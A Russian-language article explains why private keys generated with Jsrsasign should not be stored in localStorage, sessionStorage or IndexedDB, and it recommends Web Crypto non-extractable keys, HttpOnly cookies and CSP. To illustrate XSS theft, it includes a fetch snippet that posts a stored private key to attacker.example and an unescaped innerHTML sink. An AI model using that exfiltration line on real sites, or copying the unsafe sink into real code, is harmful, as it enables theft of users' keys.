Небезопасное хранение ключей в браузере

Браузерная среда изначально не предназначена для долговременного хранения секретных ключей. Любая попытка перенести туда модель безопасности серверного уровня неизбежно сталкивается с ограничениями: отсутствие полноценного защищённого хранилища, высокая поверхность атаки через JavaScript, зависимость от сторонних скриптов и возможность компрометации через XSS.

Библиотека Jsrsasign часто используется для работы с JWT, RSA, ECDSA и другими криптографическими примитивами непосредственно в клиентском коде. Она позволяет генерировать ключи, подписывать данные и проверять подписи без обращения к серверу. Однако именно в этом сценарии чаще всего возникает критическая ошибка архитектуры — попытка хранения приватных ключей в браузере.

Модель угроз браузера

Браузер выполняет код в среде, которая по определению не считается доверенной. Даже при использовании HTTPS и современных механизмов изоляции вкладок остаются базовые угрозы:

  • выполнение вредоносного JavaScript через XSS
  • подмена зависимостей через supply chain attack
  • доступ расширений браузера к DOM и памяти страницы
  • утечка данных через инструменты разработчика
  • кеширование и сохранение состояния на устройстве пользователя

Любой секрет, попавший в JavaScript-окружение, перестаёт быть секретом в криптографическом смысле.

Хранение ключей в localStorage

localStorage часто используется как первое решение для сохранения ключей или токенов. Причина — простота API и синхронный доступ.

Типичный сценарий:

localStorage.setItem("privateKey", pemKey);
const key = localStorage.getItem("privateKey");

Проблема заключается в том, что localStorage доступен любому скрипту, выполняющемуся в контексте домена. При наличии XSS-уязвимости злоумышленник получает ключ мгновенно:

fetch("https://attacker.example/steal", {
  method: "POST",
  body: localStorage.getItem("privateKey")
});

Ключи в localStorage сохраняются между сессиями, что увеличивает окно атаки.

sessionStorage и ложное ощущение безопасности

sessionStorage ограничен временем жизни вкладки, что часто воспринимается как улучшение безопасности. Однако модель угроз не меняется:

  • XSS по-прежнему позволяет читать данные
  • вредоносные скрипты получают полный доступ в рамках сессии
  • пользовательские расширения браузера могут извлекать данные

Разница лишь в том, что данные исчезают после закрытия вкладки, но в течение активной сессии остаются полностью доступными.

IndexedDB как хранилище ключей

IndexedDB предоставляет более сложное асинхронное хранилище и иногда ошибочно воспринимается как более защищённое.

const request = indexedDB.open("keysDB", 1);

Однако уровень безопасности не отличается принципиально:

  • данные доступны через JavaScript API
  • отсутствует криптографическая изоляция
  • XSS полностью компрометирует содержимое базы

IndexedDB может быть оправдан для кэширования публичных данных, но не для хранения приватных ключей.

Использование Jsrsasign для генерации ключей в браузере

Jsrsasign поддерживает генерацию RSA ключей прямо в браузере:

const kp = KEYUTIL.generateKeypair("RSA", 2048);
const privateKey = kp.prvKeyObj;
const publicKey = kp.pubKeyObj;

С точки зрения криптографии это корректная операция, однако проблема возникает на этапе хранения. Как только privateKey сериализуется и сохраняется, он попадает в небезопасную среду.

Сериализация часто выглядит так:

const pem = KEYUTIL.getPEM(privateKey, "PKCS1PRV");

Дальнейшее хранение PEM-строки в браузере полностью нивелирует смысл генерации ключа на клиенте.

XSS как основной канал компрометации

XSS остаётся ключевой причиной утечки ключей в браузерных приложениях. Даже минимальная уязвимость в выводе данных может привести к выполнению произвольного кода:

document.body.innerHTML = userInput;

При отсутствии экранирования атакующий внедряет скрипт, который получает доступ ко всем ключам:

  • localStorage
  • sessionStorage
  • IndexedDB
  • переменным в памяти приложения

Криптографическая стойкость алгоритмов в таком случае не имеет значения.

Ключи в памяти как временная альтернатива

Наиболее безопасная модель для браузера — хранение ключей только в оперативной памяти:

let privateKey = null;

function initKey() {
  privateKey = KEYUTIL.generateKeypair("EC", "secp256r1").prvKeyObj;
}

После перезагрузки страницы ключ исчезает, что снижает риск долговременной компрометации. Однако остаётся риск утечки через runtime-атаки и отладочные инструменты.

Web Crypto API как предпочтительная альтернатива

Встроенный Web Crypto API предоставляет изолированную реализацию криптографических операций, где приватные ключи могут быть non-extractable:

crypto.subtle.generateKey(
  {
    name: "ECDSA",
    namedCurve: "P-256"
  },
  false,
  ["sign", "verify"]
);

Параметр extractable: false делает невозможным извлечение ключа в виде PEM или raw-данных, что существенно снижает риск утечки.

В отличие от программных реализаций в JavaScript, ключи остаются внутри браузерного криптографического модуля.

HttpOnly cookies как альтернатива хранению токенов

При работе с аутентификационными токенами предпочтительнее использование HttpOnly cookies:

  • недоступны из JavaScript
  • автоматически отправляются с запросами
  • защищены от XSS на уровне доступа к данным

В отличие от хранения JWT в localStorage, такой подход исключает прямое чтение токена из скриптовой среды.

CSP как дополнительный слой защиты

Content Security Policy снижает вероятность внедрения вредоносного кода:

  • запрет inline-скриптов
  • ограничение источников загрузки JavaScript
  • контроль eval-подобных конструкций

Пример жёсткой политики:

Content-Security-Policy: default-src 'self'; script-src 'self'

CSP не устраняет проблему хранения ключей, но уменьшает вероятность компрометации.

Ошибочные модели использования клиентской криптографии

На практике часто встречаются архитектурные ошибки:

  • хранение RSA private key в localStorage для повторного использования
  • генерация JWT на клиенте с подписью приватным ключом
  • попытка заменить серверную аутентификацию браузерной криптографией
  • использование Jsrsasign как полноценной HSM-замены

Такие подходы создают иллюзию безопасности, не обеспечивая реальной защиты от компрометации.

Принцип минимизации доверенной зоны

Браузер следует рассматривать как недоверенную среду выполнения. Это означает:

  • приватные ключи не должны покидать сервер или защищённый модуль
  • клиент может выполнять только операции с публичными данными
  • любые секреты в JavaScript считаются скомпрометированными по умолчанию

Даже при использовании современных криптографических библиотек безопасность определяется не алгоритмами, а местом хранения секретов.

Практическое разделение обязанностей

Корректная архитектура обычно выглядит следующим образом:

  • сервер генерирует и хранит приватные ключи
  • браузер работает только с публичными ключами
  • подпись выполняется на сервере или через Web Crypto API с non-extractable ключами
  • клиент не сохраняет долговременные секреты

Такое разделение снижает риск утечек до уровня компрометации транспортного канала или логики приложения, а не памяти браузера.